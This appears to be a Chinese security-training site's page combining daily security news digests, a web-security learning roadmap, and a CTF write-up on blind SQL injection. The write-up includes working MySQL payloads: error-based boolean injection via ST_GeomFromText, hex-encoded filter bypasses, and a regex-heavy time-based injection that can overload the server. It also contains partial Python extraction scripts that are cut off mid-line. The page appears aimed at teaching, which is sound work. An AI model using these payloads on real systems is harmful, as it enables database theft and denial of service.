最后访问结果是执行phpinfo;当然也可以写入system这样的命令执行函数;造成木马利用;
这个技术你学会了吗?加入https://www.yijinglab.com/mobile/actReg.html?pk_campaign=wenzhang-wemedia,1300+网安技能任你学!
网络安全日报 2021年02月05日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、空客网络安全子公司Stormshield披露数据泄露
https://www.securityweek.com/airbus-cybersecurity-subsidiary-stormshield-discloses-data-breach
2、思科修复了小型企业路由器,SD-WAN中的关键漏洞
https://www.securityweek.com/cisco-patches-critical-vulnerabilities-small-business-routers-sd-wan
3、Realtek RTL8195A Wi-Fi模块漏洞使许多设备面临远程攻击
https://www.securityweek.com/vulnerabilities-realtek-wi-fi-module-expose-many-devices-remote-attacks
4、Google修复了在野利用的Chrome零日漏洞
https://securityaffairs.co/wordpress/114224/hacking/google-chrome-zero-day.html
5、Matryosh DDoS僵尸网络通过ADB感染Android设备
https://securityaffairs.co/wordpress/114216/malware/matryosh-ddos-botnet-android.html
6、SonicWall发布了SMA 100零日漏洞的补丁
https://securityaffairs.co/wordpress/114197/hacking/sonicwall-zero-day-patch.html
7、攻击者利用Google Firebase对Office 365 用户进行钓鱼攻击
https://threatpost.com/microsoft-office-365-attacks-google-firebase/163666/
8、SoftMaker Office PlanMaker中发现多个漏洞
https://blog.talosintelligence.com/2021/02/vuln-spotlight-softmaker-office-planmaker.html
9、克什米尔地区巴帝电信250万用户的数据遭受泄露
https://ciso.economictimes.indiatimes.com/news/data-of-25-lakh-airtel-customers-in-j-k-allegedly-leaked-telco-claims-no--in-server/80661483
10、Clearview面部识别技术在加拿大被裁定为非法
https://threatpost.com/clearview-facial-recognition-canada/163650/
这都学不好Web安全 你真的太让我失望了
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
Web安全浅析
在探讨Web安全学习之前,首先了解一下什么是Web
看到这里,你可能会问:这么多内容都需要学习吗?
答案是:可以不用学得很深入,但是如果不了解这些研究对象,是不可能搞好的安全研究的。(原话来自余弦大佬在知乎的回答)
那么这么多内容应该从哪里开始学呢?别急,等了解完什么是Web安全再学也不迟。
把Web服务各层串联起来的就是数据流,掌握了数据流就能知道数据在每层是如何处理的。而在数据流中有一个关键的协议,就是HTTP协议,搞明白HTTP协议后,你就会明白一个专业术语“输入输出”。黑客通过输入提交‘特殊数据’,‘特殊数据’在数据流的每个层处理,如果其中某一层没处理好,在输出的时候,就会出现相应层的安全问题,也就是本文的重点——Web安全。
例如:
操作系统:数据如果在操作系统层上没处理好,可能会产生命令执行等安全问题;
存储:数据如果在存储层上没处理好,可能会产生SQL注入等安全问题;
Web容器:数据如果在Web容器层中没处理好,可能会产生远程溢出、DoS等安全问题;
Web服务端语言:代码审计对于安全人员来说也是一项重要技能;
Web开发框架/Web应用:数据如果在这里没处理好,可能会产生命令执行等安全问题;
Web前端框架:数据如果在Web前端框架中没处理好,可能会产生XSS跨站脚本等安全问题;
到这里可以看出“输入输出”对于安全的重要性了吧。
接下来的内容都是干货
初步了解了什么是Web以及容易产生的一些安全问题,下面具体来说说入门Web安全应该学什么,怎么学。
还是从Web服务说起,操作系统层具体分为Windows和Linux,Windows又有Win10、Win8、Win7、WindowsServer 2016、WindowsServer 2012、WindowsServer 2008、WindowsServer 2003等版本,主要了解它们的安全配置及相关漏洞。
Windows系统安全配置:
http://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916560700001&通过学习Windows系统安全配置课程,基本了解Windows操作系统的安全加固方法
Windows系统加固:
http://www.yijinglab.com/expc.doec=ECID172.19.104.182015070809494300001这也是和Windows系统安全加固相关的实验。
还有很多Windows相关的比如文件系统备份、用户管理、日志清理、用户口令破解等知识,都可以在
http://www.yijinglab.com/pages/search.html?wk=Windows进行学习。
而Linux又有CentOS、Redhat、Ubuntu、Debian、Fedora、openSUSE等诸多发行版本,说到Linux,不得不提那本被推荐了无数遍的——《鸟哥的Linux私房菜》
http://cn.linux.vbird.org/纯文字的阅读难免让人感觉枯燥,作者更喜欢一边学习一边动手操作:
Linux入门最佳实践:
http://www.yijinglab.com/cour.do?w=1&c=CCID7ca1-dae5-48f4-8dd6-d8b6c2b5938b&课程包括Linux的发展、文件管理基础命令、管道命令、账户及系统管理等
存储层主要分为数据库存储、内存存储和文件存储,其中数据库有MySQL、Oracle、MSSQL、access、MongoDB、Redis等,数据库是SQL**注入**学习的基础。
MySQL数据库相关基础学习:
http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015082709474200001了解MySQL表的结构与内容,增加用户及授权,删除用户等操作。
MongoDB安全配置:
http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016030216511800001实验介绍了MongoDB数据库及其安全攻防实践,通过学习此实验了解MongoDB的基本操作和安全特性。
Redis数据库安全实践:
http://www.yijinglab.com/cour.do?w=1&c=C172.19.104.182015052010331700001&
系统性的SQL、MySQL学习也可以到w3cschool上进行。
Web容器包括Apache、IIS和Nginx,这里推荐几个集合环境软件:
php集合环境软件phpStudy:
http://www.phpstudy.net/phpstudy/phpStudy20161103.zip
jsp集合环境软件jspStudy:
http://www.phpstudy.net/phpstudy/JspStudy.zip
ASP集合环境软件小旋风ASP服务器:
http://www.jb51.net/softs/35167.html
第一个phpStudy集合了Apache、MySQL和PHP,将Web源码放到phpStudy里就搭建好了自己的Web服务器。具体教程自行百度,这里就不放链接了。
Web服务端语言:前面提到了代码审计,入门Web安全其实不需要对语言进行系统性的学习,这样很浪费时间,只要平时在分析漏洞原理、查看目标网站源代码等时候,对重要的函数、方法等有所了解,能够举一反三即可。
PHP基础:
http://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916344500001&通过基础实验了解PHP语言,为后续的学习打下基础。
PHP代码审计:
http://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916230700001&通过此实验学习PHP代码审计的基础知识及PHP常见危险函数
Web框架/应用:开发框架包括Struts2、React、Django、thinkPHP等,前端框架包括jQuery、Bootstrap、HTML5、semanticUI、Pure等,Web应用包括BBS,blog,discuz、metinfo、Joomla等各种CMS,不需要大家用这些框架搭建Web应用,只需要了解各框架/CMS存在哪些漏洞,其原理、利用以及如何进行修复等。
横向的学习路径介绍完,开始纵向学习数据流之《HTTP从入门到放弃》。
协议这个东西光靠看书学习很费劲,有什么快速掌握的途径吗?
还真的有,通过学习一些入门的HTTP**协议**,然后浏览器F12看看‘Network’标签里的HTTP请求响应,结合wireshark等协议分析软件,不出几个小时,就大概能知道HTTP协议是什么了。
HTTP协议基础:
http://www.yijinglab.com/expc.do?ce=08398307-4303-4dde-bcfc-e8bd67f2e772
wireshark数据抓包分析之HTTP协议:
http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015121711544400001掌握wireshark的基本操作,加深对HTTP协议的理解。
通过wireshark分析其他协议:
http://www.yijinglab.com/cour.do?w=1&c=C172.19.104.182015012915332000001&
梳理完Web服务的学习,下面正式开始入门Web安全,掌握了下面这些,就算Web安全入门了。
一、命令执行
命令执行漏洞:
http://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2017050511014000001通过实验了解命令执行漏洞产生的原因,学习漏洞的利用和修复。
ImageMagick命令执行漏洞:
http://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016072212485000001由于大量的Web程序都使用了ImageMagic的拓展,导致本地命令执行漏洞在Web环境里可以被远程触发,危害巨大。
Memcached远程命令执行漏洞:
http://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016111016360600001
通过实验学习memcached远程命令执行漏洞的利用及修复方法。
还有很多命令执行漏洞的学习实例:
http://www.yijinglab.com/pages/search.html?wk=%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C
二、SQL注入
包括布尔盲注、时间盲注、报错注入、联合查询注入、宽字节注入、二次注入等。
渗透SQL注入:
http://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916131700001&在入门之前先了解SQL注入的原理:
SQL注入初级:
http://www.yijinglab.com/cour.do?w=1&c=C172.19.104.182014081415242400001&九个实验带你入门SQL注入:
[公开课]有一种注入叫SQL注入:
http://www.yijinglab.com/expc.do?ce=f18c2a12-c43d-4469-871f-6cb1cbf5a821从SQL语句基础到SQL注入漏洞形成原理和实战利用,让你认识什么是SQL注入。
三、文件上传
包括客户端绕过js检查进行上传及服务端绕过后缀及内容检查进行上传,服务端绕过又包括特殊后缀欺骗上传、配合解析漏洞上传、截断上传等。
文件上传漏洞:
http://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2017042513351500001学习文件上传漏洞产生的原因,以及如何利用和修复。
[公开课]玩转文件上传漏洞:
http://www.yijinglab.com/expc.do?ce=5a965bc3-29d8-4658-a203-be1a144219ff通过此公开课学习文件上传漏洞产生的原因,以及文件上传绕过的各种姿势。
kindEditor文件上传漏洞分析和利用:
http://www.yijinglab.com/expc.do?ce=85d2566f-1161-47fa-b23c-0a5ac5649f07kindEditor编辑器组件最近爆出的文件上传漏洞,通过实验还原入侵过程,了解漏洞原理和防护方法。
四、文件包含
包括本地文件包含和远程文件包含。
文件包含漏洞:
http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015060917272000001
简单的文件包含:
五、溢出、Dos
缓冲区溢出基础与实践:
http://www.yijinglab.com/expc.do?ec=9613f998-8cd2-4981-9bc5-9900c97371de通过实验了解缓冲区溢出的原理与危害,掌握缓冲区溢出的基本方法,学会进行常见的缓冲区溢出攻击。
缓冲区溢出漏洞调试与分析:
http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014040109201500001利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重启等后果。
实战挖掘某ftp服务器溢出漏洞:
http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015091110221500001了解ftp服务漏洞的表现形式及利用方法。
六、跨站脚本攻击(XSS)
包括反射型XSS、存储型XSS及DOM型XSS。在学习XSS前,应该熟悉HTML/CSS及JavaScript,否则很难研究好XSS。
HTML基础:
http://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2017041911340800001了解HTML的基本结构和标签。
JavaScript基础:
http://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2017041815391500001了解什么是JavaScript,了解DOM操作和BOM操作。
渗透XSS:
http://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916134500001&学习XSS漏洞原理,以及如何利用XSS漏洞对目标系统进行渗透测试。
七、跨站请求伪造(CSRF)
分为GET型和POST型。
渗透CSRF:
http://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916141200001&八、XML外部实体注入攻击(XXE)
在学习XXE前,应该熟悉XML语言,否则很难研究好XXE。
XXE漏洞攻击与防御:
http://www.yijinglab.com/cour.do?w=1&c=CCIDc75d-d37a-42d4-878b-6f130c004ad2&包括对XXE漏洞的分析与相关组件XXE漏洞学习:
九、解析漏洞
Apache解析漏洞:
http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015120111342100001了解解析漏洞原理,常用的攻击方法以及有效的防御手段。
Nginx解析漏洞:
http://www.yijinglab.com/expc.do?ec=ECID218.76.35.762014021910351300001
IIS解析漏洞在fckEditor上传攻击中的利用:
http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015102217243800001通过实验学习IIS6.0中的解析漏洞,掌握IIS6.0解析漏洞在fckEditor上传攻击中的利用方法。
十、身份认证与访问控制
统一身份认证:
http://www.yijinglab.com/expc.do?ec=ECIDb263-0747-4118-9d51-c33f31691cb7判断一个用户是否为合法用户的处理过程。
非授权访问:
http://www.yijinglab.com/expc.do?ec=ECIDa2d4-e095-420a-9709-21e18a531479包括非法用户进入网络或系统进行违法操作,合法用户以未授权的方式进行操作。
Jenkins未授权访问漏洞利用实践:
十一、反序列化
包括PHP反序列化、Java反序列化、Python反序列化等。
PHP反序列化漏洞:
http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016010714511600001了解什么是反序列化漏洞,其成因以及如何挖掘和预防反序列化漏洞。
Java反序列化漏洞:
http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015111916202700001以ApacheCommons Collections3为例,分析和复现Java反序列化漏洞。
Python反序列化漏洞:
http://www.yijinglab.com/expc.do?ec=ECID7eab-0fb2-4f21-96df-5c1f912e5572了解Python反序列化漏洞产生的机理,增强安全意识。
十二、Web框架/应用安全
前面提到了Struts2、React、Django、thinkPHP等开发框架,jQuery、Bootstrap、HTML5、semanticUI、Pure等前端框架,以及discuz、metinfo、Joomla等各种CMS。
Struts2框架安全:
http://www.yijinglab.com/expc.do?ec=ECID218.76.35.762014021913330900001!
Struts2(s2-045)远程命令执行漏洞分析与复现:
http://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2017031012041000001!
ThinkPHP5远程代码执行漏洞:
http://www.yijinglab.com/expc.do?ce=06d28a64-2021-4cbb-a3f9-65a27bfd7ce2!
Joomla未授权创建账号/权限提升漏洞:
http://www.yijinglab.com/expc.do?ce=da5480f4-87af-412a-90f6-72b1c2cbd920!
Joomla反序列化远程代码执行漏洞:
http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016012817294800001
BEEF框架攻击:
http://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2016091409272000001&以WordPress
博客系统为基础,典型的XSS漏洞为案例,详细学习beef平台下各个模块的常用命令和攻击方法。
看到这里有没有一种怀疑人生的感觉?
不用怀疑,入门Web安全没有你们想象的那么难,弄懂上面说的这些,你还会觉得你是一个什么都不懂的小白吗?
可能大家会问,入门Web安全之后应该如何提升个人技能呢?
如果有已经入门了的朋友,或者说对Web安全有了一定的了解,想掌握更多的Web安全技能,麻烦大家在留言处吱一声,作者会根据留言情况考虑是否出一个Web安全进阶学习路线。
也麻烦还没有入门的朋友,先按照文章提到的内容一步步来。
亲亲,这边建议您点击阅读原文直接前往蚁景网安实验室进行学习呢,PC端体验更佳哟!
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
网络安全日报 2021年02月04日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、sudo CVE-2021-3156漏洞影响Apple,Cisco产品
https://www.securityweek.com/recent-sudo-vulnerability-affects-apple-cisco-products
2、研究人员发现SolarWinds产品中新高危漏洞
https://www.securityweek.com/solarwinds-product-vulnerabilities-allow-hackers-take-full-control-systems
3、Adobe ColdFusion 存在特权升级漏洞
https://www.securityweek.com/weak-acls-adobe-coldfusion-allow-privilege-escalation
4、Google发布Android安全补丁修复了40多个漏洞
https://www.securityweek.com/google-patches-16-high-severity-privilege-escalation-vulnerabilities-android
5、研究人员发现Limit Login Attempts Reloaded 插件零日漏洞
https://securityaffairs.co/wordpress/114186/hacking/zero-day-wordpress.html
6、Hildegard恶意软件劫持Kubernetes集群进行挖矿
https://threatpost.com/new-malware-hijacks-kubernetes-clusters-to-mine-monero/163629/
7、28个Chrome插件劫持了数百万人的Google搜索结果
https://thehackernews.com/2021/02/over-dozen-chrome-extensions-caught.html
8、32亿条邮箱和密码明文对在黑客论坛上泄露
https://cybernews.com/news/largest-compilation-of-emails-and-passwords-leaked-free/
9、新的XS-Leak攻击利用浏览器重定向来窃取用户隐私
https://portswigger.net/daily-swig/playing-fetch-new-xs-leak-exploits-browser-redirects-to-break-user-privacy
10、DriveSure 320W客户数据泄露
https://www.scmagazine.com/home/security-news/data-on-3-2-million-drivesure-users-exposed-on-hacking-forum/
两种CTF中特殊盲注的总结
前言
Blind SQL(盲注)是SQL注入攻击的其中一种。在sql注入过程中,sql语句执行后数据不会回显到前端页面,此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECIDee9320adea6e062017112114363500001 (本实验讲解了MySQL注入中,3种盲注方式:基于布尔的盲注、基于时间的盲注、基于报错的盲注。通过学习本实验,能了解盲注原理。)
SQL盲注基本知识
常用基本函数
IF(expr1,expr2,expr3)
若expr1为true,则返回expr2,为false则返回expr3
SELECT IF(TRUE, 'A','B') -- 输出结果:A SELECT IF(FALSE,'A','B') -- 输出结果:B
ASCII(str)
返回字符串str最左面字符的ASCII值
SELECT ASCII("flag") -- 输出结果:102
ORD(str)
返回字符串str第一个字符的ASCII值
SELECT ORD("flag") -- 输出结果:102
CHAR(int)
将ASCII码值int转换成字符
SELECT CHAR(65) -- 输出结果:A
MID(str,pos,len)
从pos位置开始,截取字符串str共len个长度的字符
SELECT MID("Hello World", 3, 5) -- 输出结果:llo W
与SUBSTR(str,pos,len) 效果相同
LEFT(str,len)
返回字符串str左边部分共len个字符
SELECT LEFT("flag", 2) -- 输出结果:fl
SLEEP(duration)
duration是休眠的时长,以秒为单位,也可以是小数
SELECT SLEEP(3) # [SQL] SELECT SLEEP(3) # 受影响的行: 0 # 时间: 3.005ms
REGEXP
正则表达式,用来匹配文本的特殊的串(字符集合)
SELECT "FLAG" REGEXP "LA" -- 输出结果:1 SELECT "FLAG" REGEXP "[0-9]" -- 输出结果:0
其它
LENGTH(str) -- 返回字符串str的长度 DATABASE() -- 返回当前数据库名 VERSION() -- 返回当前MySQL版本
布尔盲注
根据注入点的输入,页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据。
SELECT IF(LENGTH(DATABASE())>3, 1, 2) -- 输出结果:1 SELECT IF(LENGTH(DATABASE())>4, 1, 2) -- 输出结果:2
据此可知数据库名的长度为4
时间盲注
通过执行时间的长短来判断是否执行成功,也就是时间延迟注入。
SELECT IF(MID(DATABASE(),1,1)='c', SLEEP(3), 2) -- 3秒后才响应 SELECT IF(MID(DATABASE(),1,1)='a', SLEEP(3), 2) -- 立即响应
据此可知数据库名的第一个字符为c
以下2道题目:flag在flag表的flag字段
在本地搭建靶机,用post传参,变量keywords接收
基于运行错误的布尔盲注
基于运行错误的布尔盲注即能够通过sql语句的语法、语义分析,但运行时报错。
我们可以将其作为IF(expr1,expr2,expr3)的expr3,当expr1为true时,返回expr2,页面正常,而为false时,则会执行expr3,此时因为运行错误而页面无法正常显示。
ST_GeomFromText(character-string[, srid]) 是根据字符串表示构造几何的方法,即:
SELECT ST_GeomFromText( 'LineString( 1 2, 5 7 )', 4326 ) -- 输出结果:[0102000020E610000002000000000000000000F03F000000000000004000000000000014400000000000001C40]
ST_X(point):该方法是获取点的x坐标,它操作的对象是一个点,即:
SELECT ST_X(POINT(2,3)) -- 输出结果:2
但当操作对象不是点时,运行会报错,却能够通过sql的检查,所以可以用来构造true和false两种情况下出现不同的页面
SELECT IF(1, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- 输出结果:1 SELECT IF(0, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext.
P.s.
ST_GeomFromText 、 ST_MPointFromText 是两个可以从文本中解析Spatial function的函数。
需要注意的是 ST_GeomFromText 针对的是 POINT() 函 数, ST_MPointFromText 针对的是 MULTIPOINT() 函数的。
其他可用的函数:
SELECT IF({}, ST_X(ST_GeomFromText('POINT(mads)')), 0); SELECT IF({}, ST_MPointFromText('MULTIPOINT (mads)'),0); SELECT IF({}, ST_X(MADS), 0); SELECT IF({}, ST_MPointFromText('MADS'),0); SELECT IF({}, ST_GeomFromText('MADS'),0);
如果题目过滤了ST,可以尝试用GeomFromText()和X(),但MySQL在5.7.6版本之后就弃用了。
NameDescriptionX() (deprecated 5.7.6)Return X coordinate of PointGeomFromText()(deprecated 5.7.6)Return geometry from WKT
当输入1、2、3等数字时,页面返回Hello World
而当输入被过滤的关键字时,网页返回No Hacker
由此可以测试一些被过滤的关键字有:
'、"、or、-、*、>、<、=、like、sleep、substr、mid、ascii、ord
然而在不被ban掉的情况下,网页只能返回一种页面,无法进行平常的数字型盲注。
而像if(0,1e9999,1),因为无法通过sql语句的检查,所以页面无法正常显示,更别说if(1,1e9999,1)了。
此时可以考虑用基于运行错误的布尔盲注,语法、语义上能够通过sql的检查,但如果执行到该语句却会运行错误,这样便能够构造true和false两种情况了。
用if来进行盲注,'被过滤了,用十六进制绕过。
if(1,1,ST_X(ST_GeomFromText('POINT(mads)')) > if(1,1,ST_X(ST_GeomFromText(0x504F494E54286D61647329))
此时页面返回Hello World。题目说flag在flag表的flag字段,用left()截取第一个字符进行判断,=和like可以用regexp代替。
构造payload:
if(left((select flag from flag),1) regexp char(102),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))
此时页面仍然返回Hello World,可以知道flag的第一个字符是char(102),也就是f
if(left((select flag from flag),2) regexp char(102,108),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))
而第二个字符是char(108),也就是字符l
用python写个脚本
import requests def fun(string): result = "" j = 1 for i in string: if j != len(string): result = result + str(ord(i)) + "," else: result = result + str(ord(i)) j += 1 return "char(" + result + ")" url = "http://sqlblind.com/index.php" tables = "abcdefghijklmnopqrstuvwxyz0123456789-_}{" flag = "" fo
基于巨大运算时间的时间盲注
由于在这里过滤了ST,所以以ST开头的函数会被ban,无法使用。
同时又过滤了sleep,所以无法通过时间休眠来延迟时间,也就没法用sleep来进行时间盲注。
但我们可以通过sql语句来执行一个运算时间很长很长的语句,以此来作为时间延迟,也就是说用if来判断flag的字符,如果正确则执行一个需要很长运算时间的语句,否则返回0。
所以之后用python写脚本的时候,设定一个超时时间,在设定时间内没有返回内容即字符正确,这样便能进行时间盲注了。
在此之前先了解几个函数
rpad(str,len,padstr)
对字符串str进行右填充,用padstr填充至str长度为len个字符
SELECT RPAD('hi', 5, '?') -- 输出结果:hi???
concat(str1,str2,...)
连接多个字符串为一个字符串
SELECT CONCAT('he', 'll', 'o') -- 输出结果:hello
repeat(str,count)
返回字符串str重复count次后的字符串
SELECT REPEAT('ab', '3') -- 输出结果:ababab
构造payload:
1 and if((select flag from flag) regexp binary 'f',rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b'),0)
也就是说如果flag的第一个字符为f的话,则会执行下面这句语句:
rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b')
rpad('a',5000000,'a')会填充为5000000个a,会构造成一个很长的字符串,与字符串concat(repeat('(a.*)+',30),'b')去作正则匹配,通过巨大的运算量来延时。
这样做的话服务器可能会崩
由于题目过滤了',所以用十六进制代替
1 and if((select flag from flag) regexp binary 0x66,rpad(0x61,5000000,0x61) regexp concat(repeat(0x28612E2A292B,30),0x62),0)
以下两种图片用get传参测试时间延迟效果
猜中flag的第一个字符时:
而如果猜第一个字符为0x01,则为false,if返回0
所以我们可以通过大量的运算时间做延迟,进行时间盲注。
但服务器进程在接到客户端传送过来的SQL语句时,不会直接去数据库查询。服务器进程把这个SQL语句的字符转化为ASCII等效数字码,接着这个ASCII码被传递给一个HASH函数,并返回一个hash值,然后服务器进程将到shared pool中的library cache(高速缓存)中去查找是否存在相同的hash值。如果存在,服务器进程将使用这条语句已高速缓存在SHARED POOL的library cache中的已分析过的版本来执行,省去后续的解析工作,这便是软解析。
所以多次查询rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b')后将不再延迟,所以对rpad()的5000000需要每次自减1
脚本来自http://www.plasf.cn
import requests def ord2hex(string): result = "" for i in string: r = hex(ord(i)) r = r.replace('0x', '') result = result+r return '0x'+result url = "http://sqlblind.com/index.php" tables = "abcdefghijklmnopqrstuvwxyz0123456789-_}{" result = "" for i in range(1, 50): for j in tables: if j == "{" or
timeout:设定超时时间,秒为单位在设定时间内没有返回内容则返回一个timeout异常
若是3秒内没有返回内容则返回timeout异常,即字符正确,打印输出
网络安全日报 2021年02月03日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、嵌入式软件开发商Wind River披露数据泄露
https://www.securityweek.com/embedded-software-developer-wind-river-discloses-data-breach
2、复杂的多平台恶意软件“ Kobalos”针对超级计算机
https://www.securityweek.com/sophisticated-multiplatform-malware-kobalos-targets-supercomputers
3、华盛顿州审计署160万用户数据遭泄露
https://www.securityweek.com/over-1-million-impacted-data-breach-washington-state-auditor
4、SonicWall证实零日漏洞已导致上千台设备受到攻击
https://www.securityweek.com/sonicwall-says-few-thousand-devices-impacted-zero-day-vulnerability
5、苹果发布NAT Slipstreaming 2.0攻击补丁
https://www.securityweek.com/apple-issues-patches-nat-slipstreaming-20-attack
6、RansomExx勒索软件利用VMWare ESXi漏洞来加密VM磁盘
https://www.zdnet.com/article/ransomware-gangs-are-abusing-vmware-esxi-exploits-to-encrypt-virtual-hard-disks/
7、警察考试数据库泄露了50万印度公民的PII
https://securityaffairs.co/wordpress/114148/data-breach/police-exam-database-exposes-500k-indian-citizens-pii.html
8、新的Trickbot模块使用Masscan进行本地网络侦察
https://www.zdnet.com/article/new-trickbot-module-uses-masscan-for-local-network-reconnaissance/
9、CISA:许多SolarWinds 攻击受害者与SolarWinds没有直接关系
https://securityaffairs.co/wordpress/114114/hacking/solarwinds-hackers-victims-no-direct-link.html
10、网络钓鱼活动通过伪造的PPP贷款引诱美国企业
https://www.bleepingcomputer.com/news/security/phishing-campaign-lures-us-businesses-with-fake-ppp-loans/
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

